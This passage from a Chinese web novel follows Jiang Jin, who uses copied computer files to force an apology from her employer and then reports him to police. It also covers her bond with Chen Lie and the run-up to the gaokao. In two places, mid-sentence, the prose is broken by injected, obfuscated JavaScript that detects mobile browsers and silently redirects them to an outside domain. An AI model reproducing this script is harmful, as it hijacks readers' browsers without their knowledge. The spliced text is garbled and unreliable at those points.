姜堇的一颗心很坚硬。她从来都这么觉得。 可这时在一盏盏路灯的烤炙下,某一角融化了一点,又融化了更多的一点。 这世界大得辽阔,他们这样的人却无处奔逃。可至少还有人牵着她的手,在没有出口的逼仄小路上不停地走、不停地走。 走过一盏盏路灯。走过一寸寸夜色。走向一个个天明。 陈列:“你是不是早知道我是那种人?” 姜堇由他牵着,落后他一步,望着他背影:“什么人?” 陈列的肩抖了一下,似是他笑了一声:“不会放手的那种人。” 他回过头,一手绕过姜堇后脑,稍一用力,把姜堇带入他怀里。 姜堇下意识的反应是浑身一抖,便想挣脱,陈列的手摁着她后脑,让她的头埋进自己怀里。 他身上的味道清冽而干净,又因洗衣液而透着些暖调。姜堇的呼吸很快,又因这气味而慢慢放松下来。 陈列:“我没有那样想你。” “我是发现你在把找刘邺涵要十九万块钱这件事说出口以后,你的第一反应是那样想你自己。” 姜堇把头埋在陈列怀里说:“是十九万五千七。” “好,十九万五千七。”陈列:“姜堇,这个词说出来真他妈矫情。那一瞬间我以为我同情你,可其实不是,我心疼你。” 姜堇浅浅地吸一口气,觉得陈列身上的味道堵在他鼻腔。 “我不认同你做的事。”陈列:“可如果这是你想做的,你就去做吧。” 陈列说:“我来当你的共犯。” 33. 许诺 姜堇来到刘家时,无人应门。她自己输密码开门,在玄关换拖鞋,走进刘子淼房间,发现刘子淼正塞着耳机听朋克,闭着眼无限沉醉,音乐声大得她隔着耳机都能听到。 她蜷起指节在书桌上轻敲了下。 刘子淼这才摘下耳机对她笑:“姜老师,已经到上课时间了?我爸还没回来呢,我趁机躲躲懒。” “嗯。”姜堇放下书包:“我们先开始上课吧。” 课上了一半,门被敲响。 男人的拖鞋声,姜堇没抬头,眼角瞥见视线范围内伸进一骨节分明的手,戴奢牌腕表,袖口永远熠熠夺目,冷白肤色显得没有活人气。 刘邺涵把果盘放到书桌上,问儿子:“学得怎么样?” 说话的时候,身体微微向姜堇这边倾斜,挺刮的衬衫扫着姜堇头顶。 “挺好挺好。”刘子淼的语气明显不耐烦:“爸你别跟妈那么唠叨,妈下周就回来了,你们这是打算混合烦我啊。” 刘邺涵似任何一个慈爱的父亲那样笑了声,出去了。 姜堇一边给刘子淼讲课,一边又能清晰听见客厅里的声音。 拖鞋走动的声音。倒水的声音。甚至刘邺涵喝水时喉结滚动的声音,很难说那不是她过分紧张下的臆想。 上完了课,刘子淼又开始匆匆收拾书包,一边跟姜堇道:“我爸这段时间对我还是可以,准我去看球赛,今晚又准我跟朋友去唱歌,可能他觉得我妈回来后、我又要被管得很严了吧。” “我先走了啊姜老师,Ciao(再见)~” 他背着包匆匆跑了出去。 姜堇留在房内慢慢收拾好了自己的书包,才走到客厅。 刘邺涵坐在沙发上,笑意深沉。这一次,他在泡一壶茶,气定神闲地望着姜堇,甚至抬起一小盏来问姜堇:“喝么?几十年的陈皮,你应该没机会尝过吧。” 姜堇背着书包,浅棕色的瞳仁里一片静然。 刘邺涵大概终是被她这样的神情所激怒,放下茶盏,盯着她的镜片反光一闪:“所以,你洗干净了么?” 姜堇沉稳地开口,背一串串数字。 刘邺涵的表情从愣怔,到惘然,再到终于露出一丝破绽。他终于发现,姜堇背的那一串串数字,是他存在电脑隐藏文件夹里的通讯名录。 姜堇拿着一只深灰色的U盘:“你应该也没蠢到会来抢我手里的U盘,我既然敢带过来,就说明肯定有备份。” 刘邺涵的脸色终于浮现一闪而过的阴影。拇指摩挲茶盏的动作表明他在思考:明明他自己也是IT行业,电脑的加密级别极高,怎么会? 因这夜灯的光影,他的五官始终似陷在一片阴影里,显得阴鸷。 “你要什么?”他问。 姜堇双唇翕动了下,喉结轻地一滚。 “要你给我十九万五千七。”这句话她在破旧的船舱里已练习过无数次了,午夜梦回,她甚至不知自己喃喃的梦呓是否也在重复这句话。她已经太熟悉这句话里的每一个音节,此刻堵在唇边,轻轻一抖落便能出口。 “我要……”姜堇盯着刘邺涵,捏着U盘的手指渐渐蜷起来。 刘邺涵的喉结也在滚动,显而易见的紧张。 姜堇:“我要你给我道歉。” “什么?”刘邺涵几乎失笑出声。 “我要你给我道歉。”姜堇的手指在发颤,声音却平稳。 刘邺涵看她半晌:“你说真的?你确定你不要钱?你既然能黑进我的电脑……” 他的双眼眯起来,玩味地打量着姜堇,那眼神似在说:我还以为你是个聪明人,可你怎么会这么蠢? 姜堇一步步走到他面前:“刘邺涵,站起来。” 刘邺涵的脸色终于显而易见地难看起来。 他习惯了身居高位,为何会被一个下等女孩如此呵斥? 甚至不是呵斥,她如此平静。 姜堇说:“你说得对,我什么都没有。既然我有了证据,跟你这种人放手搏一搏,我也没什么可失去的。所以你觉得,你和我之间,谁更害怕鱼死网破一点?” 刘邺涵个子比她高出许多,她仰望着刘邺涵,目光却带某种审视。 刘邺涵的手紧攥成拳,又渐渐松开来。他盯着姜堇:“对不起,行了吗?” 姜堇:“不行。” 刘邺涵深吸一口气,调换成一种更郑重的语气:“对不起,姜堇,我向你道歉。” 姜堇捏着U盘掉头就走。 “等等。”刘邺涵三两步跨出茶几来,伸手去搭姜堇的肩:“你拷下来的东西怎么说?” 姜堇却早有防备,快速蹿到门边,“咔哒”一声拧开防盗门便往外跑。她根本没去等电梯,径直跑向安全楼梯的通道。 她蹬蹬蹬地下楼,马尾和书包不断撞击着她自己的后背,脚步每三两步便似要踏空一阶。她手扶着墙面一路往下,甚至没意识到这有多危险。 终于下楼,她一把推开单元的门禁向外狂奔而去,堪堪撞到一个中年女人身上。对方拎着一兜菜:“喔唷小姑娘……” 姜堇胸腔剧烈起伏着,完全没有闲暇去说一声抱歉,她听到身后的电梯门“叮”一声打开,奢贵皮鞋响起是刘邺涵独有的步调。 她拼尽全力地向前跑,上半身不自觉地不断前压。她也说不清自己是跑进一个春夜,还是撞进一个春夜,只是没有人接住重心尽失的她,她总感觉下一步就要跌倒。 “姜堇。” 这时有人叫她。 她又一瞬的失神,身体却出于惯性继续往前猛冲。 在她几要跌倒的瞬间,一只手臂沉稳地拉住了她。她难以收住脚步,直接狠狠撞进了那人的怀里,额头猛磕在那人的下巴上。 仓皇抬头时,看见陈列皱着眉正揉自己的下巴,另一手拉着她。 看见她抬头的一瞬,陈列表情出现刹那的空白——因为姜堇泪流满面。 “姜堇。”陈列叫她的名字:“阿堇。” 姜堇上气不接下气地问:“你怎么在这?” “我来等你。”陈列说:“我们不是共犯么?” 姜堇能听见陈列现身的一瞬,身后刘邺涵的脚步声停了。她甚至不敢回头,拉住陈列的胳膊:“走!” 陈列站着没动:“他对你做什么了?” “没有,不是。”姜堇拼命摇头:“快走。” 陈列被她拉着胳膊往前跑,刘邺涵站在单元门前望着他俩的背影,终是没有再追。 跑出大约几十米远,陈列却忽然挣脱姜堇的手,大跨步地往回跑去。 在姜堇还来不及反应的时候,在刘邺涵也来不及反应、甚至还在推鼻梁上的金丝边眼镜的时候,他一拳狠砸在刘邺涵的鼻梁上。 他这一次出拳用了十成十的气力,刘邺涵个子甚至比他还高,平时风度翩翩的成功精英,狼狈地仰面摔在地上。 “你他妈……”陈列抬脚就要往他胸口踩去,那一刻他双目血红。 平时的他谨慎、隐忍、事不关己的淡漠,可这一刹,他像理智尽失的恶鬼。 姜堇跑回来拽他的胳膊:“够了,快走!” 在小区安保和其他围观的居民聚拢起来以前,两个少年少女牵着手快速跑出了小区。 姜堇拉着陈列一路跑到小区附近的公交站,随便跳上一辆开来的公交车,车上很空,她坐到后排抱着自己的书包开始喘气。 陈列坐到她身边,指节上还有方才狠揍刘邺涵擦出的血痕。 姜堇掏出手机低头搜索着什么,陈列问:“在搜什么?” “警察局。” 陈列一瞬皱眉,姜堇:“他今天没对我做什么,不是因为他今天对我做了什么。” 她扬一扬手里的U盘:“我要去报警,这是证据。” - 两人过了好几站后,才从这辆公交下来,转乘另一趟去警局的公交车。 姜堇带着U盘说明来意,警察抬起眼来看她,她一脸静定。 陈列始终站在她身边。 登记完情况,从警局出来,姜堇走得飞快。 陈列身高腿长,竟有追不上她的感觉。 “姜堇。” 姜堇不停步。 “姜阿堇!” 陈列明显感觉到她身上气场不对,快走两步拽住她胳膊:“你在生什么气?刚才又为什么哭?是害怕么?” 认识姜堇以来,陈列从未见她落过泪。 无论是小混混缠上她、她用啤酒瓶狠砸小混混头的时候,亦或是白柳絮猝不及防扇她一个巴掌的时候。 她从来没有哭过,总是一脸平静。 此时她被陈列宽大而有力的手掌拉着挣脱不掉,转回头来冲陈列吼:“我气我自己是个大傻子!” “什么?”陈列被她吼得有点懵。 “只有傻子才会不要钱!要那人渣的一句什么道歉!”姜堇平时说话的语调或冷调妩媚、或轻柔温和,这时她却持续冲着陈列吼:“我就是个被你传染了的大傻子!” 她甩开陈列的手,气冲冲继续往前走。 陈列在原地愣怔半刻,把她这些前言不搭后语的碎语接连成句,渐渐明白了她是什么意思。他快跑两步,追上姜堇的步调,拉住姜堇:“我给你钱。” “什么?”这次换姜堇有点懵。 他拉着姜堇,说得很肯定却很平静:“你出国留学的钱,我给你。” “你……”姜堇的第一反应并不是质疑,好似在她眼里,住在破船里的、只能打黑拳赚钱的陈列,从来就有这样的能力。她只是皱着眉问:“你要什么?” “我不要什么。”陈列把她拉进自己怀里,一下一下轻拍她的后脑:“阿堇,我什么都不要。” 姜堇陷在陈列怀里。 脸上的神情不是感动,而是长久的迷惘。 每一个靠近她的人,或许要她的脸、或许要她的身体。就连杜珉珉,一开始同她走近也是想抄她的作业。 有人会对她只是给予、而什么都不从她这里索取么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜堇一直看着陈列,陈列挑了下眉:“怎么,不信我能有这么多钱给你?” 姜堇瞧他许久,终是摇头:“我只是在想,陈列,我会尽快还你钱的。” “怎么,”陈列难得同她开句玩笑:“你不是坏人么?怎么这么好、还惦记着还我钱?” “难道可以不还?” “可以啊。”陈列的语气极之随意。 姜堇垂了下眼睫,又从袋子里掏出块曲奇来,盯着饼干中央圆圆的孔隙:“我会还你的。” - 陈列回到船舱以后,还是那般姿势,躺在窄窄木板上枕着一条手臂,另只手把手机举在眼前。 单手打字发出一条信息:[我想好了,继续做吧。] 对方回得飞快:[列哥,就等你这句话呢!] - 姜堇丢了工作。 在新的一周她准备去上家教课以前,刘子淼妈妈给她发来信息,委婉表示考试在即,不想给刘子淼那么大压力、怕孩子心理出状况,这家教课就先不上了。 姜堇平静地回:[知道了。] 她自然知道是她把那些材料提交到警局以后,刘家正在经历一场天翻地覆。 不过她这周的假条已经签了,不想浪费。 她给陈列发信息:[去医院看我妈么?] 陈列回复:[什么时候?] [今天晚自习。] [好学生也逃课?] [那,]姜堇纤细手指藏在课桌抽屉里打字回复:[坏学生逃课么?] 这时杜珉珉在旁边一拍她的肩,姜堇吓了一跳,赶紧把手机塞到课桌深处。 杜珉珉笑嘻嘻:“紧张什么?老师没来。我就是觉得好奇怪啊,你也有偷偷玩手机的时候。跟谁发信息呢?” 姜堇唇角很轻地挑一下:“没谁。” 她没有再看手机。当下一节语文课开始上了、杜珉珉难得认真听课时,她才悄悄把手机从抽屉里摸出来。 陈列没有回复。 晚自习前,姜堇收拾书包准备离开学校。 杜珉珉一手托腮,不无艳羡地看着她:“你就好啦。我也应该告诉爸妈我想出国留学,去上综合素质班也好过上晚自习。” “晚自习是什么?那就是安陵容的苦杏仁!”她彻底趴倒在桌上:“苦啊——” 姜堇被她逗得发笑,背着书包跟她道别后走了。 春日残阳,挂在天边显出温柔色调。 风被染成粉紫,徐徐拂着人的额发。操场边不知名的蒿草,也已长得有小腿那么高了。 姜堇必须承认,无论她认为自己怎样功利、现实、目标主义,在逼刘邺涵对她说出那声“对不起”后,她感到了某种精神上的松弛。 走出校园的脚步也轻快些。 把假条交给保安后,她背着书包往外走,忽地脚步一顿。 陈列勾着单肩包站在那里,校服外套里穿着件黑T,夕阳下,朝她看过来。 34. 稳固 姜堇小跑步地向陈列而去,跑了两步又重新放慢步调,变成向陈列走去。 陈列一直站在原处,直到她走近,才迈步同她并肩。 姜堇故意问:“你怎么在这?” 陈列瞥她一眼,直接略过她这一问题。 两人登上去往医院的公交车。姜堇先去了趟医院的食堂,看到今晚吃饺子,是白柳絮喜欢的菠菜鸡蛋馅,便买了些。 走到病房门口,姜堇让陈列带着饺子先进去,她自己去趟洗手间。 从厕所出来洗净了双手,她下意识鞠一捧水去洗脸。 愣了下,才发现这是自己的惯性动作——她很多时候是直接从拳馆出发来看白柳絮,有时在拳馆来不及洗脸的话,便总要在医院的洗手间里洗去一脸浓妆。 她哑然失笑,扯了张纸巾把脸上的水珠擦干净。 走进病房时,陈列正在喂白柳絮吃饺子。 白柳絮在陈列面前总是很乖。姜堇有次趁她精神平和时问她为什么,她理直气壮说是因为陈列长得帅,姜堇好笑得很。 这实在是难得温暖的一幕,夕阳下白柳絮安然吃着饺子,脸上的神情一片平和。 姜堇几乎不敢走近,远远地倚在侧墙上看着这一幕。 白柳絮吃了几个后,打一个嗝。她看上去吃不下了,眼珠滴溜溜地转一圈,瞥见靠墙而立的姜堇,一指她对陈列说:“我不吃了,给你女朋友吃。” 姜堇噙着点笑意走过去坐下。 陈列刚准备把饭盒递她,白柳絮又道:“你得喂她呀!怎么不上道?” 陈列瞥姜堇一眼,姜堇还是那般似笑非笑的神色。 陈列筷尖拈起个饺子,递到她唇边。她便当真伸嘴过来接了,一手托在下巴前,怕饺子馅漏下去,含笑的话是对着白柳絮说的:“好吃。” 白柳絮仔细打量着她的脸:“你的脸怎么搞的呀?” 姜堇咀嚼的动作一顿。 上次白柳絮打她那一巴掌,用了十成十的力道,指印烙在她脸上,现在还剩浅浅的痕没消褪。刚才她洗去了遮瑕膏,这痕迹便露了出来。 姜堇刚要说没什么,陈列在一旁道:“她被人给打了。” “谁下这么重的手呀?”白柳絮拧着眉道:“这要是你妈妈看见了,得多心疼啊。” 姜堇一瞬不瞬地看着白柳絮。 陈列又道:“要不你问问她,疼不疼。” 白柳絮便看着姜堇问:“疼么?” 姜堇轻轻地吸一口气,点头:“疼。” 白柳絮扭头去看陈列:“她说疼。” 陈列:“那你跟她说,不疼了。” 白柳絮伸出手指,很小心地在姜堇面颊的伤痕处碰了碰,又小小地吹了口气,跟姜堇说:“不疼了,啊。” 姜堇一瞬站起来,她动作太快,把白柳絮给吓了一跳。 于是她又柔声安慰白柳絮:“我出去一下,你看要不要再吃几个饺子。” 说罢快步往病房外走去。 白柳絮看一眼她背影,问陈列:“你女朋友是不是生气了呀?” 陈列摇摇头:“没有。” 陈列不知是不是又喂白柳絮吃了几个饺子,过了阵子才走出病房。 他出来的时候,姜堇正站在走廊的窗前,望着窗外的夕阳。 陈列走过去:“你不会是哭了吧?” 姜堇:“我为什么要哭?” 陈列扯一下嘴角,不与她争,只是伸手摸了下她的头。 她伸手把陈列的手挡开:“你总摸我头干什么?” 陈列:“你总那么犟干什么?” 姜堇瞥他一眼不讲话了,又移转视线去看窗外的夕阳。 陈列斜斜靠在窗框上,有些闲散的姿势。姜堇不看他,望着窗外道:“那个。” “嗯?”陈列发现窗台上落着一颗不知什么花芽的种子,伸手去拨弄。 “如果我跟你说谢谢的话,你会不会觉得很矫情?” “会。”陈列点头:“特别矫情。” 姜堇笑一笑缄默下去。良久,她才再度开口:“陈列,有时候我觉得……” “觉得什么?” 姜堇摇摇头没有再说下去。 接下来的话她若说出来,只怕更加矫情。只是她望着夕阳,觉得它美得似他们充满缺憾的生活。而这样充满缺憾的生活,她也可以过很久很久。 - 周一上学,叶炳崐跟屁股上长了仙人掌似的,在凳子上坐不住。 陈列朝他瞟过去,他一脸的“我什么事都没有你别注意我”。 如此几番后,陈列叹了口气,终是忍不住问:“怎么了?” 叶炳崐差点没蹦起来,一副好不容易找到话题出口的样子:“我……” 音调较平时明显拎高,一个字以后又鬼鬼祟祟地刻意压低下去:“我和秦筱婷谈了。” 陈列挑一挑眉,一副意外又不意外的神色。 “香啊!自己谈了才知谈恋爱有多香。”叶炳崐伸着食指敲着桌沿:“你呢列哥?” “我什么?”陈列随手拿过他桌上一本杂志翻了两页。 “你什么时候谈?”叶炳崐问:“那么多女生明里暗里对你有兴趣,你就一个都没看上?你真对这事一点没兴趣?” 陈列翻着杂志,没答他的话。 姜堇这种好学生,常被学校的各种比赛抓壮丁。 高考前最后一次市级的比赛,应该是这次的作文竞赛。 几个同样被抓壮丁的学生,聚在今日空出来的广播站办公室里开会。 其中一人撑着腮、拨弄着调音的键盘:“随便写写好啦,每年都是那些套话,高考又不加分的。” “有人猜今年是话题作文,探讨最稳固的关系。” 立即有两个女生嬉笑起来,挤着眉眼去搡坐在她俩中间的那个女生。那女生的脸迅速涨红,一左一右地将她俩搡回去。 她俩犹不肯放过:“祁慕露,说说你现在心中最稳固的关系是什么,啊……?” 姜堇明白了。 女生是那些偷偷恋爱的“小情侣”中的一对。 姜堇微低着头,心想:最稳固的关系,怎会是恋爱关系呢? 那种关系应该是泥泞里长出来的,基于蓬勃的根系野蛮生长,比黑暗更暗,守着共有的秘密,危险到令人上瘾。 最稳固的关系应该是……共犯。 那一刻她在心里勾勒出陈列的样子,她从刘邺涵家仓皇奔逃出来时、陈列在楼下等她时的样子。 开完会,一个男生叫住姜堇:“你等一等。” 姜堇停下脚步回眸看他。 男生挠了下头:“你应该还记得我吧?” 姜堇想了半天,想起他是三班的,两人在竞赛上碰头过几次。 至于叫什么……忘了。 男生见她沉默,掏出一只信封递到她眼前。 一中对几个尖子班抓得很严,男女生聚在一起多说几句话都会被教导主任抓包,平时也不让用手机,因此“传情达意”还用这么古朴的方式。 姜堇神色淡淡地接过。 男生心脏一跳,觉得自己难道有戏? 姜堇远远瞥了眼,一转头,就把信交给了刚巧走过来的教导主任。 男生:…… 教导主任打开信封看了眼,气出一声冷笑:“罗成啊罗成,你这么文采斐然的,学校选你去参加作文竞赛倒是真不亏呀!”说着又痛心疾首起来:“你是好学生呀!你知不知道马上就要高考了?啊?拼一载春秋,才能搏一生无悔啊……” 姜堇已远远走了。 她不对恋爱报什么成见,只是这件事离她自己的人生太远了。她的时间和精力有限,都用在拼命挣出泥沼上。 走回班级的路上,遇上叶炳崐拉着陈列、鬼鬼祟祟往墙边走,明显打算逃掉晚自习。 姜堇远远瞟一眼,发现他俩的身后还跟着两个女生。 姜堇一言不发地回到教室,在自己座位坐下时,杜珉珉瞧她一眼:“姜堇,你在生气吗?” “嗯?”姜堇怔一瞬后露出一个柔和的笑:“为什么这么问?” “那可能是我看错啦。”杜珉珉揉揉眼:“你的神情总是这么淡淡的,都让人看不出你是高兴还是不高兴的。” 次日便是周日,姜堇守在小超市写卷子时,陈列进来买烟。 姜堇头也不抬地摸出包红旗渠,放到柜台上。陈列扫码付钱的时候,她仍低着头。 陈列瞥她一眼,指节在玻璃面上敲一下:“晚上几点去拳馆?” “还不知道。”姜堇蓝色的水性笔尖刷地在卷子上写出一个连笔的“A”。 陈列似笑非笑地“嗯”了一声,拿了烟走了。 姜堇这才抬头看一眼他背影。 晚上姜堇到拳馆的时候,发现今日格外热闹。 走近一瞧,原来老板娘新买了张台球桌,正张罗着人把它摆到合适位置。 有人拎起旁边的球杆:“我试试。” 老板娘立马在他胳膊上拍了下:“试什么试!你当我买来做慈善啊?打一杆要收钱的!” 她抢回球杆拎在手里,环视一圈:“陈列,你会打台球么?你来试试。” 方才那人立刻起哄:“老板娘,你这也太偏心了吧?” 老板娘翻他个白眼:“陈列模样好呀,又会替拳馆赚钱,让他来试第一杆兆头好呀!” 陈列唇角略勾了下,走过来拎起球杆。 姜堇远远隔着人群看他,发现自己关于陈列的想象再被不断解构又重塑。 从前她觉得陈列永远是颓丧样子,紧抿着唇不苟言笑,得过且过地就是一天。 后来她觉得陈列在没被赌债压得喘不过气时,是工工整整的天之骄子,各类国家级竞赛的坐上客。 现在她发现都不是,陈列并不是她想象中那种一丝不苟的好学生。 他拎着球杆伏低在白皮松绿的球台上,锐利的眼神像盯紧了猎物的豹,然而他姿势又是闲散,架在球台上的手指虚虚搭着球杆。 “啪”的一声,利落的一杆进洞。 周围叫起好来,他却不甚在意地将球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519578|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杆往边上一靠,掩没入人群里去了。 姜堇眼神搜寻了会儿,才发现他是被安群给叫了过去。 安群得把扎啤桶从库房搬出来,找陈列去帮忙。 陈列搬动那些桶的姿态漂亮,更刚才打球的闲散又是不同,浑身紧致流畅的肌肉偾张起来。 姜堇收回视线。 接着陈列上拳台打一场比赛,下来正要往更衣室走的时候,看见姜堇端着扎啤托盘路过。 他叫住姜堇:“哎。” 姜堇回眸。 “买杯啤酒。” “干嘛找我买?” “干嘛不找你买?”陈列问:“你不是卖酒的吗?” 姜堇便把白皙的手掌朝他摊开来:“十块。” “先欠着。”陈列指一指自己的拳击短裤,示意自己没带钱。 姜堇固执道:“不能欠。” 陈列低低笑了声,叫她:“跟我来。” 有其他的卖酒女郎从他们身边路过,看一眼陈列泛着汗光的腹肌,调笑道:“帅哥,能摸一把吗?” 陈列在拳馆待了一阵子,她们到底比女学生泼辣,也算摸清陈列看着凶,不爱搭理人,人却并不坏。 陈列没回应,只是领着姜堇往更衣室走去。 从自己长裤口袋里摸出一张十块钱来,放到姜堇的托盘上,这才端起一杯扎啤:“好了吧?” 姜堇收了钱,转身欲走。 “等等。”陈列站在她身后问:“躲我干什么?” 姜堇背对着陈列抿一下唇,然后慢慢转过身来。 姜堇这样聪黠,想跟陈列否认自己没躲、不过几句嘴上功夫的事。但她很清楚自己在躲,从看见陈列和叶炳崐一同逃课、身后跟着两个女生开始。 叶炳崐这种混世魔王被秦筱婷收服的事,在学校里传得沸沸扬扬。不消说,陈列是被拉去当掩护。 那么,安群呢? 姜堇望着陈列:“我从前倒不知道,你是这么热心的人。” 陈列的唇角略往上挑了挑,看着她。 姜堇的五官清冷,抿唇的时候总显出一点倔。她也不回避,就那样直视着陈列问:“怎么?” “没怎么。”陈列转过身去把收护具,他总是很糙,随意把护具往半是生锈的铁皮衣柜里一塞:“只是安群刚来,不知道你是我女朋友。” 他转过身来看姜堇,手里一边把一件黑T往身上套。穿衣的姿态也随意,一边领口紧贴着脖颈,另一边松垮垮的,露出肌肉尚未平复因而凸显的深邃颈窝。下摆卷成一卷往下滑,贴着他形状分明的、微微往内凹陷的腹肌。 姜堇的睫从上面扫过,旋即移开。 没想到陈列朝她走过来,站在她面前,低头的时候下巴微微下压,靠近她的额。她能很明显闻见陈列身上的汗味,在逼仄凌乱的更衣室里,好像有更多陈年的难闻的汗味在其间氤氲,灯灰蒙蒙的,似河面凌晨三四点光景起的那层雾。 但陈列的汗味不难闻,新鲜的,从里面钻出来。 带着他身上强烈的荷尔蒙气息。 姜堇喉咙轻地一滚,听他问:“你要不要去告诉她?” “告诉她什么?”姜堇抬头直视他沉黑的双眸,这时有人在外推更衣室的门,陈列的反应比她更快,掌根抵着门反方向一摁,顺手拧了反锁。 两人的呼吸似在交缠,又似在打架。 姜堇看着他问:“告诉她说我是你女朋友?” 她一点不回避,“女朋友”三字经她说来轻而掷地有声。陈列原本觉得那三字如一片羽毛落进了心里,又觉得刮起喉咙的一阵痕痒。抬手一摸,是一颗汗珠自他自己的喉结处滚了下来。 他听见自己的声音:“嗯。” 姜堇笑了笑:“没这个必要吧,我总归是要走的人。” “去英国了,”陈列的语调从来带三分淡漠:“就不打算回来了?” “回来做什么?我妈根本不想看到我,我赚钱让她住最好的疗养院就好。” 姜堇的声音比他更暗。但她清晰地感觉到,两人的呼吸滚灼地交缠在一起。外面正在打另一场拳赛,欢呼声铺天盖地,更衬得更衣室里寂寂。姜堇身后是一个生锈的铁架子,堆满了拳手缓解肌肉痛的松节油,一种陈旧的、略带麝香感的、与灰尘交织的味道。 陈列的站姿,算是把姜堇堵在门与铁架之间的角落。 从前有异性这般靠近,姜堇会极度戒备而充满不适。现在她也戒备,她也不适,可是在这戒备和不适间,还有种什么更陌生的感觉钻了出来。 与松节油的气息一同,不断捆绑又解绑着她的心脏。 陈列以那样一低头便可以吻到她的距离站了会儿,退开一步,喉间低低地:“嗯。” 一手拧开反锁,替姜堇拉开门。 姜堇从那门缝里钻了出去,本来深春已觉得拳馆里闷热难当,在逼仄更衣室里待久了出来,竟觉得一阵铺面的凉风撩动着她的额发。 低头才发现手里还一直端着扎啤的托盘。她是对自己够狠的人,方才的情形下杯中的啤酒一滴不洒。 35. 高考 周一到学校,发月考卷子。 一班成绩不甚理想,尤其数学。一向爱与他们开玩笑的数学老师,站在讲台上拧着眉,话是前所未有的严厉:“如果你们都是这样的状态,一个多月后的高考不参加也罢。” “我们一中一班,除了申请国外大学的,重本率从来都在百分之九十五以上。这传统保持了几十年,不能毁在你们这一届手里。” 杜珉珉愁眉苦脸跟姜堇吐槽:“是不是每一届学生都会听老师说:你们是我带过最差的一届?” 老师在讲台上吼她:“杜珉珉!” 杜珉珉吓得浑身毛都炸起来,立即正襟危坐。 下课后她问姜堇:“你出国的材料准备好了吗?” 姜堇点头:“差不多了。” 杜珉珉:“那你还参加高考么?” “要参加。” 杜珉珉眼都睁圆了:“你干嘛对自己那么狠啊?你看祝橙,早就打定了主意不参加高考,每天追追idol行踪,过得不知多逍遥。” 只有姜堇自己知道。 无论如何她都会参加高考,因为她是一个没退路的人。如果申请国外学校有什么闪失,她必须为自己兜底。 和陈列在更衣室的那日,从拳馆出来后,姜堇一个人去了网吧。 因为每每要整理出国材料,这网吧姜堇已来得很熟了,每每她都泡一碗泡椒牛肉味的泡面,面对那些铺开在她眼前的欲望,她总是很饿,胃里有个黑洞填不满似的。 她每次都一边吸面条一边紧盯屏幕,手指在键盘上敲敲打打。 这天晚上,她却什么其他的事都没做,看了一部纪录片叫《走钢索的人》。 1974年8月7日,一个名叫珀蒂的法国人,在纽约世贸大厦高达一百一十层的两座大楼之间,拉起一条细细的钢索。 离地四百米的高空,吹得钢索摇晃似惊涛骇浪。珀蒂手执一根横杆保持自己的平衡,每走一步,都紧盯着足下的钢索。 这部纪录片姜堇不知看了多少次。 很多时候她都觉得,自己就是那走钢索的人。踏错一步,万劫不复。 所以她时刻清醒、理智、淡漠。 她没有任性的资格。 高考前一个多月的时间,诚实来说,姜堇过得很痛苦。她心里的那根弦绷得太紧,每晚下晚自习后,她伏在船舱的矮桌上学习,到快犯颈椎病的程度。 额头上也冒起一颗痘。 陈列也被她逮在船舱里学习。姜堇埋头做理科题的时候,他在一旁背文科考点。 他问姜堇:“我上不上大学这件事很重要么?” 姜堇想了想:“上大学不重要,但往更好的地方走很重要。” 总要从泥泞里往外挣去。 陈列低哂一声,抱着双臂靠着船舱,眼皮沉沉耷着。 姜堇就看不惯自己苦读时他这副悠闲的样子,伸手把他手边那本历史书拎过来:“你到底背没背?我考考你。” 陈列阖着眼挑一挑眉。 姜堇翻了几页书:“宗法制的特点是什么?” “秦汉时期奠定了什么特点的封建小农经济模式?” “世界上最早的货币是什么?” 她问题问得跳跃,陈列阖着眼,却竟都答上来了。 姜堇一扬眉,又把历史书给他丢回去。 他这时睁开眼来:“你贴的什么?” “这个?”姜堇抬手摸摸自己的额:“痘痘贴。” 陈列露出的表情明显是“世界上竟还有这种东西”。 他问:“干什么用的?” 姜堇没绷住笑了:“催熟痘痘。而且,”她又抬手摸了摸:“不留疤。” 又低头去做题的时候,看到陈列伸到她脚边的腿。 她盘腿坐着,看见自己的白袜子和陈列的黑袜子离得很近。 心里的感觉有些怪异——她竟还有与一个人如此日常的时候。 一个月余的时间如白驹过隙。 其他班是高考前两天开始放假。一班老师却把他们留到最后一天,也不讲课,就是自习,毕竟平时抓得太紧,陡然放松了怕他们回家胡思乱想。 明天便是高考,下午在考试自习时,杜珉珉悄声同姜堇说:“肯定还有最后一轮考前动员。” 想不到老师什么都没说,临近傍晚,叫他们收拾书包回家。 不知是谁带的头,冲出教室把铺天盖地的卷子往下扔。漫天“飞雪”的盛景中,高一高二的学生纷纷涌出教室、仰头往聚在走廊边的他们看。 老师追在后边喊:“你们都疯啦?!万一要复读呢?” 说完又打自己的嘴:“呸呸呸!” 杜珉珉也拉着姜堇混在人群中,把自己的卷子往下扔,笑得开怀:“我可去你们的吧!” 姜堇自己没扔。但实话实说,看着这种场景,她心里也有种畅快。 高一高二的学生聚在走廊,姜堇被杜珉珉拉着探头往下看。一楼的圆柏边,叶炳崐正和陈列走过,一仰头看这漫天的卷子也是讶异:“卧槽,一班的学生疯起来也是挺疯啊。” 他是格外迷糊的人,准考证都忘了带,拖陈列陪他回学校取。 姜堇在一阵雪片般的卷子里望着陈列。 陈列单手插在校服口袋里,也仰头在看她。 教学楼边挂着激励高三生的红色横幅:「我们接受命运,但不卑怯」。 映着她清冷倔强的脸色,天边暮色如织。 - 高考这天姜堇出门很早。望一眼陈列紧闭的船舱门,有些犹豫要不要去叫他一声。 这人总这副样子,不会连高考都迟到吧? 她犹豫的半秒时间里,陈列从船舱里走了出来。 姜堇率先转头往公交车站的方向走去,始终领先陈列百来米的样子。两人没有说话,直到陈列跟在她身后登上公交。 